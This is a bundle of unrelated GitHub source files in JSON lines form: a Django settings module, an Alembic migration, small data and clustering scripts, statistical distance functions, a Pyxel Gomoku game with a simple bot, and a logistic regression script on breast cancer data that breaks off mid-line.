+{"seq_id":"26234767793","text":"\"\"\"\ndeepdataspace.server.settings\n\nThe django settings.\n\"\"\"\n\nimport os.path\nfrom pathlib import Path\n\nfrom corsheaders.defaults import default_headers\nfrom corsheaders.defaults import default_methods\n\nfrom deepdataspace import constants\nfrom deepdataspace import environs\n\nBASE_DIR = os.path.abspath(Path(__file__).resolve().parent)\n\nDJANGO_DIR = environs.DJANGO_DIR\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = environs.DJANGO_SECRET\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = environs.DEBUG\n\nis_local = environs.ENV == constants.RunningEnv.Local\n\nALLOWED_HOSTS = [\"*\"]\n\n# Application definition\nINSTALLED_APPS = [\n \"django.contrib.auth\",\n \"django.contrib.contenttypes\",\n \"whitenoise.runserver_nostatic\",\n \"django.contrib.staticfiles\",\n \"rest_framework\",\n \"corsheaders\",\n \"deepdataspace.server\",\n]\n\nMIDDLEWARE = [\n \"corsheaders.middleware.CorsMiddleware\",\n \"whitenoise.middleware.WhiteNoiseMiddleware\",\n \"django.middleware.http.ConditionalGetMiddleware\",\n \"deepdataspace.server.middlewares.RequestPerfMiddleware\",\n]\n\nROOT_URLCONF = \"deepdataspace.server.urls\"\n\nTEMPLATES = [\n {\n \"BACKEND\" : \"django.template.backends.django.DjangoTemplates\",\n \"DIRS\" : [],\n \"APP_DIRS\": True,\n \"OPTIONS\" : {\n \"context_processors\": [\n \"django.template.context_processors.debug\",\n \"django.template.context_processors.request\",\n \"django.contrib.auth.context_processors.auth\",\n \"django.contrib.messages.context_processors.messages\",\n ],\n },\n },\n]\n\n# Static files\nSTATIC_ROOT = f\"{BASE_DIR}/static\"\nSTATIC_URL = \"/static/\"\n\n# Database\nif environs.DB_ENGIN == \"sqlite3\":\n if is_local:\n default_db = {\n \"NAME\": os.path.join(DJANGO_DIR, f\"{environs.DB_NAME}.sqlite3\"),\n }\n else:\n default_db = {\n \"NAME\": os.path.join(BASE_DIR, f\"{environs.DB_NAME}.sqlite3\"),\n }\nelse:\n default_db = {\n \"NAME\" : environs.DB_NAME,\n \"USER\" : environs.DB_USER,\n \"PASSWORD\": environs.DB_PASS,\n \"HOST\" : environs.DB_HOST,\n \"PORT\" : environs.DB_PORT,\n }\ndefault_db[\"ENGINE\"] = f\"django.db.backends.{environs.DB_ENGIN}\"\nDATABASES = {\"default\": default_db}\n\n# Internationalization\nLANGUAGE_CODE = \"en-us\"\nTIME_ZONE = \"UTC\"\nUSE_I18N = True\nUSE_TZ = True\n\n# Default primary key field type\nDEFAULT_AUTO_FIELD = \"django.db.models.BigAutoField\"\n\n# For Logging\nLOGGING = {\n \"version\" : 1,\n \"disable_existing_loggers\": False,\n \"formatters\" : {\n \"simple\" : {\n \"format\": \"%(asctime)s %(levelname)s [%(name)s] %(message)s\"\n },\n \"verbose\": {\n \"format\": \"%(asctime)s %(levelname)s [%(filename)s:%(funcName)s:%(lineno)s] %(process)d %(thread)d %(message)s\"\n },\n },\n \"handlers\" : {\n \"console\": {\n \"class\" : \"logging.StreamHandler\",\n \"formatter\": \"simple\",\n }\n },\n \"root\" : {\n \"level\" : \"INFO\",\n \"handlers\" : [\"console\"] if environs.VERBOSE else [],\n \"propagate\": True,\n },\n \"loggers\" : {\n \"django\": {\n \"level\" : \"INFO\",\n \"handlers\" : [\"console\"],\n \"propagate\": True,\n },\n }\n}\n\nif is_local:\n LOGGING[\"handlers\"][\"django\"] = {\n \"level\" : \"INFO\",\n \"class\" : \"logging.handlers.RotatingFileHandler\",\n \"filename\" : environs.DJANGO_LOG_PATH,\n \"maxBytes\" : 1024 * 1024 * 100, # 100 mb\n \"formatter\": \"verbose\",\n }\n LOGGING[\"loggers\"][\"django\"][\"handlers\"].append(\"django\")\n\n# For DRF\nREST_FRAMEWORK = {\n \"DEFAULT_AUTHENTICATION_CLASSES\": [],\n \"DEFAULT_PERMISSION_CLASSES\" : [],\n \"EXCEPTION_HANDLER\" : \"deepdataspace.utils.http.handle_api_exception\",\n \"DEFAULT_RENDERER_CLASSES\" : [\"rest_framework.renderers.JSONRenderer\", ],\n \"DEFAULT_PARSER_CLASSES\" : [\"rest_framework.parsers.JSONParser\", ]\n}\n\n# For CORS\nCORS_ORIGIN_ALLOW_ALL = True\nCORS_ALLOW_CREDENTIALS = True\nCORS_ALLOW_METHODS = list(default_methods)\nCORS_ALLOW_HEADERS = list(default_headers) + [\n \"Token\",\n]\n\n# For django running behind a proxy\nSECURE_PROXY_SSL_HEADER = (\"HTTP_X_FORWARDED_PROTO\", \"https\")\n\n# For Login and Token\nTOKEN_AGE = 3600 * 24\n","repo_name":"IDEA-Research/deepdataspace","sub_path":"deepdataspace/server/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4442,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"82"}
+{"seq_id":"5920501197","text":"\"\"\"add guild event column\n\nRevision ID: a4aab942bc52\nRevises: 71237a836be1\nCreate Date: 2022-09-25 21:12:07.350204\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a4aab942bc52'\ndown_revision = '71237a836be1'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('attendance', sa.Column('is_guild_event', sa.Boolean(), nullable=True))\n op.execute(\"UPDATE attendance SET is_guild_event = false\")\n op.alter_column('attendance', 'is_guild_event', nullable=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('attendance', 'is_guild_event')\n # ### end Alembic commands ###\n","repo_name":"waliens/bloude-clockin","sub_path":"src/alembic/versions/a4aab942bc52_add_guild_event_column.py","file_name":"a4aab942bc52_add_guild_event_column.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"20242392069","text":"import os\nimport sys\nimport json\n\nbasename = os.path.basename(sys.argv[1]).split('.')[0]\n\nwith open(sys.argv[1], 'rb') as f:\n o_data = f.read().split('\\n')[:-1]\n\n# dict_data = {}\nlist_data = []\nfor row in o_data:\n row = row.split(' :: ')\n found = row[2] == 'True'\n # if not found:\n # continue\n fixations = int(row[1])\n setsize = int(row[0].split('_')[0][7:])\n trialnum = int(row[0].split('_')[1][:-4])\n tup = (setsize, trialnum, fixations)\n list_data.append(tup)\n\nwith open('tuples/{}.json'.format(basename), 'wb') as f:\n json.dump(list_data, f, indent=4)","repo_name":"matthewr6/visual-search-model","sub_path":"gdrivesets/old/fixation_tuples.py","file_name":"fixation_tuples.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"46682523202","text":"import numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\n\n\"\"\"\n@X: input data\n@k: number of clusters\n\"\"\"\ndef kmeans_wrapper(X, k, image_as_input = False):\n if not image_as_input:\n X = np.float32(X)\n else:\n orig_shape = X.shape\n # flatten the image into a vector of BGR entries\n # so an n x 3 -> this is why -1 as first argument\n X = X.reshape((-1, 3))\n # data must be float32\n X = np.float32(X)\n type_ = cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER\n max_iter = 10\n epsilon = 1.0\n criteria = (type_, max_iter, epsilon)\n # labels returns the index of the cluster they belong in\n compactness, labels, centers = cv2.kmeans(data = X,\n K = k,\n bestLabels = None,\n criteria = criteria,\n attempts = 10,\n flags = cv2.KMEANS_RANDOM_CENTERS)\n if not image_as_input:\n # the final clusters - Kmeans output\n S = []\n for l in labels:\n S.append(X[labels.ravel() == l])\n return S, centers\n else:\n # convert data back to image\n centers = np.uint8(centers)\n # same as for l in flat labels: res.append(center[l])\n res = centers[labels.flatten()]\n res2 = res.reshape((orig_shape))\n return res2, centers\n\n\ndef main():\n x1 = np.random.randint(25,54,(25,4))\n x2 = np.random.randint(45,75,(25,4))\n # concatenate them in one (50,4) array\n X = np.vstack((x1, x2))\n S, centers = kmeans_wrapper(X, 2)\n # with an image\n im = cv2.imread('../kmeans/santorini.jpg') \n cv2.imshow('input', im)\n cv2.waitKey()\n cv2.destroyAllWindows()\n assert im is not None, \"Invalid input image\"\n quant, centers = kmeans_wrapper(im, 8, True)\n cv2.imshow('output', quant)\n cv2.waitKey()\n cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n main()\n","repo_name":"leonmavr/journal","sub_path":"computer-vision/segmentation/src/src/kmeans/k_means_cv.py","file_name":"k_means_cv.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"35702099226","text":"import numpy as np\nfrom scipy.linalg import inv, det\n\n\ndef glr(x, y, theta=1.82):\n xm = multivariate_normal.logpdf(\n x, np.mean(x, axis=0), np.cov(x, rowvar=False))\n ym = multivariate_normal.logpdf(\n y, np.mean(y, axis=0), np.cov(y, rowvar=False))\n z = np.vstack((x, y))\n zm = multivariate_normal.logpdf(\n z, np.mean(z, axis=0), np.cov(z, rowvar=False))\n return (np.sum(zm) - np.sum(np.hstack((xm, ym)))) / len(z)**theta\n\n\ndef glr2(x, y, theta=1.0):\n cx = np.cov(x, rowvar=0)\n cy = np.cov(y, rowvar=0)\n nx = x.shape[0]\n ny = y.shape[0]\n n = nx + ny\n d = -0.5 * (nx * np.log(det(cx)) + ny * np.log(det(cy)) -\n n * np.log(det((nx / n) * cx + (ny / n) * cy)))\n return d\n\n\ndef bic(x, y, theta=1.0, params={}):\n px = np.log(det(np.cov(x, rowvar=0)))\n py = np.log(det(np.cov(x, rowvar=0)))\n z = np.vstack((x, y))\n pz = np.log(det(np.cov(z, rowvar=0)))\n d = 0.5 * (z.shape[0] * pz - x.shape[0] * px - y.shape[0] * py)\n p = z.shape[1]\n corr = theta * 0.25 * p * (p + 3) * np.log(z.shape[0])\n return d - corr\n\n\ndef kl2(x, y):\n cx = np.cov(x, rowvar=0)\n cy = np.cov(y, rowvar=0)\n cix = inv(cx)\n ciy = inv(cy)\n dxy = np.mean(x, axis=0) - np.mean(y, axis=0)\n d = 0.5 * (np.trace((cx - cy) * (ciy - cix)) +\n np.trace((ciy + cix) * np.outer(dxy, dxy)))\n return d\n","repo_name":"cilsat/scribe","sub_path":"segment/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"24616202950","text":"import pyxel\r\nimport time\r\nimport random\r\n\r\n# Define the Chessboard Status\r\nclass ChessboardStatus:\r\n EMPTY = 0 # The Chess Cell not Taken\r\n PLAYER1 = 1 # Taken by Player 1 (The Human)\r\n PLAYER2 = 2 # Taken by Player 2 (The Bot)\r\n\r\n# The Bot Player Functioningg Part\r\nclass DBot:\r\n # Initiate the Chessboard Status for the Bot\r\n def __init__(self, board_size):# Initiate the Chessboard Status for the Bot\r\n self.BOARD_SIZE = board_size\r\n\r\n # Check If There is a Winner\r\n def if_winner(self, board):\r\n # Horizontally Check if 5 Chess Pieces in a Row\r\n for row in board:\r\n for i in range(self.BOARD_SIZE - 4):\r\n if row[i] == row[i + 1] == row[i + 2] == row[i + 3] == row[i + 4] != 0:\r\n return row[i]\r\n\r\n # Vertically Check if 5 Chess Pieces in a Row\r\n for col in range(self.BOARD_SIZE):\r\n for i in range(self.BOARD_SIZE - 4):\r\n if board[i][col] == board[i + 1][col] == board[i + 2][col] == board[i + 3][col] == board[i + 4][col] != 0:\r\n return board[i][col]\r\n\r\n # Top-Left and Bottom-Right if 5 Chess Pieces in a Row\r\n for i in range(self.BOARD_SIZE - 4):\r\n for j in range(self.BOARD_SIZE - 4):\r\n if board[i][j] == board[i + 1][j + 1] == board[i + 2][j + 2] == board[i + 3][j + 3] == board[i + 4][j + 4] != 0:\r\n return board[i][j]\r\n\r\n # Top-Right and Bottom-Left if 5 Chess Pieces in a Row\r\n for i in range(self.BOARD_SIZE - 1, 3, -1):\r\n for j in range(self.BOARD_SIZE - 4):\r\n if board[i][j] == board[i - 1][j + 1] == board[i - 2][j + 2] == board[i - 3][j + 3] == board[i - 4][j + 4] != 0:\r\n return board[i][j]\r\n\r\n # No Winner, Place 1 Chess Piece on Chessboard\r\n return 0\r\n\r\n # Check Where to Put the Chess\r\n def near_complete(self, board, x, y):\r\n # Check a Cell and Surrounding 8 Cells for an Empty One\r\n for dx in [-1, 0, 1]:\r\n for dy in [-1, 0, 1]:\r\n if dx == 0 and dy == 0:\r\n continue\r\n # Pick up a Cell to Place the Chess Piece\r\n new_x = x + dx\r\n new_y = y + dy\r\n\r\n # Make Sure to Place Chess inside the Chessboard \r\n if (\r\n new_x >= 0\r\n and new_x < self.BOARD_SIZE\r\n and new_y >= 0\r\n and new_y < self.BOARD_SIZE\r\n and board[new_y][new_x] != 0\r\n ):\r\n return True\r\n return False\r\n\r\n # Check if a Move Would Win the Round\r\n def win_move(self, board, x, y, player):\r\n if x <= self.BOARD_SIZE - 5 and all(board[y][i] == player for i in range(x, x + 5)):\r\n return True\r\n\r\n if y <= self.BOARD_SIZE - 5 and all(board[i][x] == player for i in range(y, y + 5)):\r\n return True\r\n\r\n if x <= self.BOARD_SIZE - 5 and y <= self.BOARD_SIZE - 5 and all(\r\n board[y + i][x + i] == player for i in range(5)\r\n ):\r\n return True\r\n\r\n if x <= self.BOARD_SIZE - 5 and y >= 4 and all(\r\n board[y - i][x + i] == player for i in range(5)\r\n ):\r\n return True\r\n\r\n return False\r\n\r\n # Defines How Bot Makes a Move\r\n def bot_turn(self, board, current_player):\r\n # Empty Cell\r\n for y in range(self.BOARD_SIZE):\r\n for x in range(self.BOARD_SIZE):\r\n if board[y][x] == ChessboardStatus.EMPTY and self.win_move(board, x, y, current_player):\r\n return x, y\r\n\r\n # Cell Taken by Player 1's Chess Pieces\r\n for y in range(self.BOARD_SIZE):\r\n for x in range(self.BOARD_SIZE):\r\n if board[y][x] == 0 and self.win_move(board, x, y, ChessboardStatus.PLAYER1):\r\n return x, y\r\n\r\n # Intercept Player 1's Chess Pieces or Placing Its Own\r\n # Detect Horizontal Lines of 3 Chess Pieces Placed by Human Player\r\n for y in range(self.BOARD_SIZE):\r\n for x in range(self.BOARD_SIZE - 2):\r\n if (\r\n board[y][x] == ChessboardStatus.PLAYER1\r\n and board[y][x + 1] == ChessboardStatus.PLAYER1\r\n and board[y][x + 2] == ChessboardStatus.PLAYER1\r\n ) or (\r\n board[y][x] == ChessboardStatus.PLAYER2\r\n and board[y][x + 1] == ChessboardStatus.PLAYER2\r\n and board[y][x + 2] == ChessboardStatus.PLAYER2\r\n ):\r\n # Add Considered Places to Intercept or Add Own\r\n if x > 0 and board[y][x - 1] == 0:\r\n return x - 1, y\r\n if x + 3 < self.BOARD_SIZE and board[y][x + 3] == 0:\r\n return x + 3, y\r\n\r\n # Detect Vertical Lines of 3 Chess Pieces Placed by Human Player\r\n for x in range(self.BOARD_SIZE):\r\n for y in range(self.BOARD_SIZE - 2):\r\n if (\r\n board[y][x] == ChessboardStatus.PLAYER1\r\n and board[y + 1][x] == ChessboardStatus.PLAYER1\r\n and board[y + 2][x] == ChessboardStatus.PLAYER1\r\n ) or (\r\n board[y][x] == ChessboardStatus.PLAYER2\r\n and board[y + 1][x] == ChessboardStatus.PLAYER2\r\n and board[y + 2][x] == ChessboardStatus.PLAYER2\r\n ):\r\n # Add Considered Places to Intercept or Add Own\r\n if y > 0 and board[y - 1][x] == 0:\r\n return x, y - 1\r\n if y + 3 < self.BOARD_SIZE and board[y + 3][x] == 0:\r\n return x, y + 3\r\n\r\n # Detect Top-Left to Botton-Right Lines of 3 Chess Pieces Placed by Human Player\r\n for x in range(self.BOARD_SIZE - 2):\r\n for y in range(self.BOARD_SIZE - 2):\r\n if (\r\n board[y][x] == ChessboardStatus.PLAYER1\r\n and board[y + 1][x + 1] == ChessboardStatus.PLAYER1\r\n and board[y + 2][x + 2] == ChessboardStatus.PLAYER1\r\n ) or (\r\n board[y][x] == ChessboardStatus.PLAYER2\r\n and board[y + 1][x + 1] == ChessboardStatus.PLAYER2\r\n and board[y + 2][x + 2] == ChessboardStatus.PLAYER2\r\n ):\r\n # Add Considered Places to Intercept or Add Own\r\n if (y > 0 and x > 0) and board[y - 1][x - 1] == 0:\r\n return x - 1, y -1\r\n if (y + 3 < self.BOARD_SIZE and x + 3 < self.BOARD_SIZE) and board[y + 3][x + 3] == 0:\r\n return x + 3, y + 3\r\n\r\n # Detect Top-Right to Botton-Left Lines of 3 Chess Pieces Placed by Human Player\r\n for x in range(self.BOARD_SIZE - 2):\r\n for y in range(self.BOARD_SIZE - 2):\r\n if (\r\n board[y][x] == ChessboardStatus.PLAYER1\r\n and board[y + 1][x - 1] == ChessboardStatus.PLAYER1\r\n and board[y + 2][x - 2] == ChessboardStatus.PLAYER1\r\n ) or (\r\n board[y][x] == ChessboardStatus.PLAYER2\r\n and board[y + 1][x - 1] == ChessboardStatus.PLAYER2\r\n and board[y + 2][x - 2] == ChessboardStatus.PLAYER2\r\n ):\r\n # Add Considered Places to Intercept or Add Own\r\n if (y > 0 and x < self.BOARD_SIZE) and board[y - 1][x + 1] == 0:\r\n return x + 1, y - 1\r\n if (y + 3 < self.BOARD_SIZE and x - 3 > 0) and board[y + 3][x - 3] == 0:\r\n return x - 3, y + 3\r\n\r\n # Valid Move to Place Bot's Chess Pieces in a Cell Next to Player 1's Chess Pieces or Connect Own Lines\r\n valid_moves = []\r\n for y in range(self.BOARD_SIZE):\r\n for x in range(self.BOARD_SIZE):\r\n # Add a Choice to Consider\r\n if board[y][x] == 0 and self.near_complete(board, x, y):\r\n valid_moves.append((x, y))\r\n if valid_moves:\r\n return random.choice(valid_moves)\r\n\r\n # Valid Move to Place Bot's Chess Pieces in a Cell w/ No Player 1's Chess Pieces Around\r\n valid_moves = []\r\n for y in range(self.BOARD_SIZE):\r\n for x in range(self.BOARD_SIZE):\r\n if board[y][x] == 0:\r\n valid_moves.append((x, y))\r\n if valid_moves:\r\n return random.choice(valid_moves)\r\n\r\n return None\r\n\r\n# The Execution of the Chess Game\r\nclass App:\r\n # Initialize the Chessboard Status\r\n def __init__(self):\r\n # Key Details of the Solid Figures\r\n self.BOARD_SIZE = 15\r\n self.CELL_SIZE = 32\r\n self.SCREEN_WIDTH = self.BOARD_SIZE * self.CELL_SIZE\r\n self.SCREEN_HEIGHT = self.BOARD_SIZE * self.CELL_SIZE + 40\r\n\r\n self.board = [[ChessboardStatus.EMPTY] * self.BOARD_SIZE for _ in range(self.BOARD_SIZE)]\r\n self.current_player = ChessboardStatus.PLAYER1\r\n self.player1_score = 0\r\n self.player2_score = 0\r\n self.game_over = False\r\n\r\n self.countdown_time = 0\r\n self.countdown_duration = 5\r\n self.turn_time = 20\r\n self.turn_start_time = 0\r\n\r\n self.bot = DBot(self.BOARD_SIZE)\r\n\r\n # Show Instructions for Playing as Human for 5 Seconds\r\n self.show_instructions = True\r\n self.instructions_time = time.time()\r\n\r\n # Initlize the Entire Program\r\n pyxel.init(self.SCREEN_WIDTH, self.SCREEN_HEIGHT)\r\n pyxel.run(self.update, self.draw)\r\n\r\n # Check if there is a Winner Between Player 1 and 2 by Seeking 5 Chess Pieces Form a Horizontal, Vertical or Diagonal Line\r\n def if_winner(self):\r\n for row in self.board:\r\n for i in range(self.BOARD_SIZE - 4):\r\n if row[i] == row[i + 1] == row[i + 2] == row[i + 3] == row[i + 4] != 0:\r\n return row[i]\r\n\r\n for col in range(self.BOARD_SIZE):\r\n for i in range(self.BOARD_SIZE - 4):\r\n if self.board[i][col] == self.board[i + 1][col] == self.board[i + 2][col] == self.board[i + 3][col] == self.board[i + 4][col] != 0:\r\n return self.board[i][col]\r\n\r\n for i in range(self.BOARD_SIZE - 4):\r\n for j in range(self.BOARD_SIZE - 4):\r\n if self.board[i][j] == self.board[i + 1][j + 1] == self.board[i + 2][j + 2] == self.board[i + 3][j + 3] == self.board[i + 4][j + 4] != 0:\r\n return self.board[i][j]\r\n\r\n for i in range(self.BOARD_SIZE - 1, 3, -1):\r\n for j in range(self.BOARD_SIZE - 4):\r\n if self.board[i][j] == self.board[i - 1][j + 1] == self.board[i - 2][j + 2] == self.board[i - 3][j + 3] == self.board[i - 4][j + 4] != 0:\r\n return self.board[i][j]\r\n\r\n return 0\r\n\r\n # After a Winner is Confirmed, Reset the Chessboard Status\r\n def reset_game(self):\r\n self.board = [[0] * self.BOARD_SIZE for _ in range(self.BOARD_SIZE)]\r\n self.current_player = ChessboardStatus.PLAYER1\r\n self.game_over = False\r\n self.countdown_time = 0\r\n\r\n # A 5-Second Countdown before Next Round Begins\r\n def start_countdown(self):\r\n self.countdown_time = time.time()\r\n\r\n # The Start of a New Round and Reset\r\n def new_round(self):\r\n self.reset_game()\r\n self.game_over = False\r\n\r\n # Display of Game's Instructions\r\n def instructions(self):\r\n pyxel.cls(7)\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 60, self.SCREEN_HEIGHT // 2 - 20, \"Keyboard Instructions:\", 0)\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 80, self.SCREEN_HEIGHT // 2, \"Space and Mouse Cursor: Place your chess\", 0)\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 80, self.SCREEN_HEIGHT // 2 + 10, \"Q: Quit the game\", 0)\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 80, self.SCREEN_HEIGHT // 2 + 20, \"R: Skip the waiting time between rounds\", 0)\r\n\r\n # What to do After Each Prerequisite Met\r\n def update(self):\r\n # Un-Display the Instruction and Show the Chessboard\r\n if self.show_instructions:\r\n if time.time() - self.instructions_time > self.countdown_duration:\r\n self.show_instructions = False\r\n self.start_countdown()\r\n return\r\n\r\n # Press \"Q\" to Quit the Program\r\n if pyxel.btnp(pyxel.KEY_Q):\r\n pyxel.quit()\r\n\r\n # Press \"R\" to Skip the 5-Second Countdown and to the Next Round\r\n if self.game_over:\r\n if pyxel.btnp(pyxel.KEY_R):\r\n self.new_round()\r\n return\r\n\r\n # Bot Player Acts\r\n if self.current_player == ChessboardStatus.PLAYER2:\r\n if not self.game_over:\r\n # If Chess Piece not Placed by Bot Before Pesudo Countdown Ends, It Is Player 1's Turn\r\n if time.time() - self.turn_start_time > self.turn_time:\r\n self.current_player = ChessboardStatus.PLAYER1\r\n return\r\n\r\n # Time Needed for Bot to Place Chess, in This Case, It Is 1 Second. Also Can be Replaced by random.randint(1, 20), But Countdown Does Not Move\r\n time.sleep(1)\r\n\r\n # Bot Make the Move\r\n bot_move = self.bot.bot_turn(self.board, self.current_player)\r\n x, y = bot_move\r\n\r\n # Add 1 to the Score Count of Player Who Wins the Current Round\r\n self.board[y][x] = self.current_player\r\n winner = self.bot.if_winner(self.board)\r\n if winner != ChessboardStatus.EMPTY:\r\n self.game_over = True\r\n if winner == ChessboardStatus.PLAYER1:\r\n self.player1_score += 1\r\n else:\r\n self.player2_score += 1\r\n self.start_countdown()\r\n else:\r\n self.current_player = ChessboardStatus.PLAYER1\r\n\r\n # Human Player Acts\r\n if pyxel.btnp(pyxel.KEY_SPACE) and self.current_player == ChessboardStatus.PLAYER1:\r\n if self.board[pyxel.mouse_y // self.CELL_SIZE][pyxel.mouse_x // self.CELL_SIZE] == ChessboardStatus.EMPTY:\r\n x = pyxel.mouse_x // self.CELL_SIZE\r\n y = pyxel.mouse_y // self.CELL_SIZE\r\n\r\n # Player Which Placed Recent Chess Piece and Got 5-In-a-Row Is the Winner\r\n self.board[y][x] = self.current_player\r\n winner = self.bot.if_winner(self.board)\r\n # After Human Player Won the Round, Add 1 to Player's Score Count and Start the 5-Second Countdown to Next Round\r\n if winner != 0:\r\n self.game_over = True\r\n self.player1_score += 1\r\n self.start_countdown()\r\n # It Is Bot's Turn Now and Start the Pseudo Countdown \r\n else:\r\n self.current_player = ChessboardStatus.PLAYER2\r\n self.turn_start_time = time.time()\r\n\r\n # What to Show\r\n def draw(self):\r\n if self.show_instructions:\r\n self.instructions()\r\n return\r\n\r\n # A top Rectangle for Displaying the Messages\r\n pyxel.cls(9)\r\n pyxel.rect(0, 0, self.SCREEN_WIDTH, 40, 0)\r\n\r\n # Display the Current Turn is for Who's Move\r\n player_turn_text = f\"Player {self.current_player}'s turn\"\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 32, 10, player_turn_text, 7)\r\n\r\n # Add a Pseudo-Thinking Time of 20 Seconds for the Bot and Display it\r\n if self.current_player == ChessboardStatus.PLAYER2 and not self.game_over:\r\n remaining_time = self.turn_time - (time.time() - self.turn_start_time)\r\n countdown_text = f\"Time left: {int(remaining_time)} seconds\"\r\n pyxel.text(self.SCREEN_WIDTH - 284, 20, countdown_text, 7)\r\n\r\n # Draw Lines to Boarder the Cells on Chessboard\r\n for i in range(self.BOARD_SIZE):\r\n pyxel.line(0, i * self.CELL_SIZE + 40, self.SCREEN_WIDTH, i * self.CELL_SIZE + 40, 0)\r\n pyxel.line(i * self.CELL_SIZE, 40, i * self.CELL_SIZE, self.SCREEN_HEIGHT, 0)\r\n\r\n # Define the Color of Chess Pieces Placed by Each Player\r\n for y in range(self.BOARD_SIZE):\r\n for x in range(self.BOARD_SIZE):\r\n if self.board[y][x] == 1:\r\n pyxel.circ(x * self.CELL_SIZE + self.CELL_SIZE // 2, y * self.CELL_SIZE + self.CELL_SIZE // 2 + 40, 10, 1)\r\n elif self.board[y][x] == 2:\r\n pyxel.circ(x * self.CELL_SIZE + self.CELL_SIZE // 2, y * self.CELL_SIZE + self.CELL_SIZE // 2 + 40, 10, 7)\r\n\r\n # Display How Many Rounds by Player 1 and 2 in Top-Left and Top-Right Corner\r\n pyxel.text(10, 10, f\"Player 1: {self.player1_score}\", 7)\r\n pyxel.text(self.SCREEN_WIDTH - 90, 10, f\"Player 2: {self.player2_score}\", 7)\r\n\r\n # Make Sure the Displayed Cursor Exactly Fit inside the Cell and Draw the Cursor\r\n cursor_x = pyxel.mouse_x // self.CELL_SIZE\r\n cursor_y = pyxel.mouse_y // self.CELL_SIZE\r\n pyxel.line(cursor_x * self.CELL_SIZE, cursor_y * self.CELL_SIZE + 40, (cursor_x + 1) * self.CELL_SIZE, (cursor_y + 1) * self.CELL_SIZE + 40, 2)\r\n pyxel.line((cursor_x + 1) * self.CELL_SIZE, cursor_y * self.CELL_SIZE + 40, cursor_x * self.CELL_SIZE, (cursor_y + 1) * self.CELL_SIZE + 40, 2)\r\n\r\n # What to do after Someone Won the Round\r\n if self.game_over:\r\n winner = self.if_winner()\r\n # Display who is the Winner\r\n if winner != 0:\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 25, 30, f\"Player {winner} wins!\", 3)\r\n pyxel.play(0, 0)\r\n # This Part is Basically Useless Since there is not Going to be a Draw in Gomoku\r\n else:\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 20, self.SCREEN_HEIGHT // 7 - 4, \"It's a draw!\", 3)\r\n\r\n # The Execution of 5-Second Countdown\r\n if self.countdown_time > 0:\r\n # How Much Time Left\r\n remaining_time = self.countdown_duration - (time.time() - self.countdown_time)\r\n # Display How Much Time Left\r\n if remaining_time > 0:\r\n countdown_text = f\"{int(remaining_time)} seconds to next round\"\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 45, 20, countdown_text, 7)\r\n # A New Round if the Countdown is Over\r\n else:\r\n self.new_round()\r\n\r\n# Sound for Mentioning if Someone Wins \r\ndef esound():\r\n pyxel.sound(0).set(\"c3e3g3c4c4\", \"s\", \"7\", (\"n\" * 4), 7)\r\n\r\napp = App()\r\n","repo_name":"RenElsa/FIT_2_Project_S23","sub_path":"Gomoku_Show.py","file_name":"Gomoku_Show.py","file_ext":"py","file_size_in_byte":18844,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"29759644347","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n\r\n\r\n'''\r\n 使用逻辑回归算法,进行二分类\r\n'''\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import accuracy_score\r\nbreask_cancer = pd.read_csv(r'D:\\自己用\\项目\\R语言\\课程\\实验三\\breast_cancer.csv',header =None)\r\n#print(breask_cancer.head())\r\n\r\n#进行数据处理,删除’?’所在的行\r\nprint(breask_cancer.shape)\r\ndata = breask_cancer.replace(to_replace='?',value=np.nan)\r\n# data = breask_cancer.replace(to_replace='',value=np.nan)\r\ndata = data.dropna(how='any')\r\nprint(data.shape)\r\n\r\nx = data.iloc[:,1:10]\r\ntarget =data.loc[:,10]\r\n#将数据集拆分成训练集和测试集\r\nx_train,x_test,y_train,y_test = train_test_split(x,target,test_size=0.25,random_state=33)\r\n\r\n#创建线性回归模型\r\nfrom sklearn.linear_model import LogisticRegression\r\n#solver,选择更新参数使用何种方式,sag随机梯度下降,lbfas拟牛顿算法,newton-cg牛顿法\r\n#max_iter 更新多少次参数\r\n#tol误差小于tol时停止更新参数,默认值1e-4\r\nlr = LogisticRegression(solver='sag',max_iter=3000)\r\nlr.fit(x_train,y_train)\r\nlrpredict = lr.predict(x_test)\r\n# print(lrpredict)\r\n# print(y_test)\r\nprint(accuracy_score(y_test,lrpredict))\r\nfrom sklearn import metrics\r\nprint(metrics.confusion_matrix(y_test,lrpredict))\r\nprint(y_test.shape)\r\nprint((70+99)/(70+1+99+1))\r\n\r\nres = lr.predict([[2\t,1,\t1,\t1,\t2,\t1\t,2,\t1,\t1]])\r\nprint(res)\r\nres = 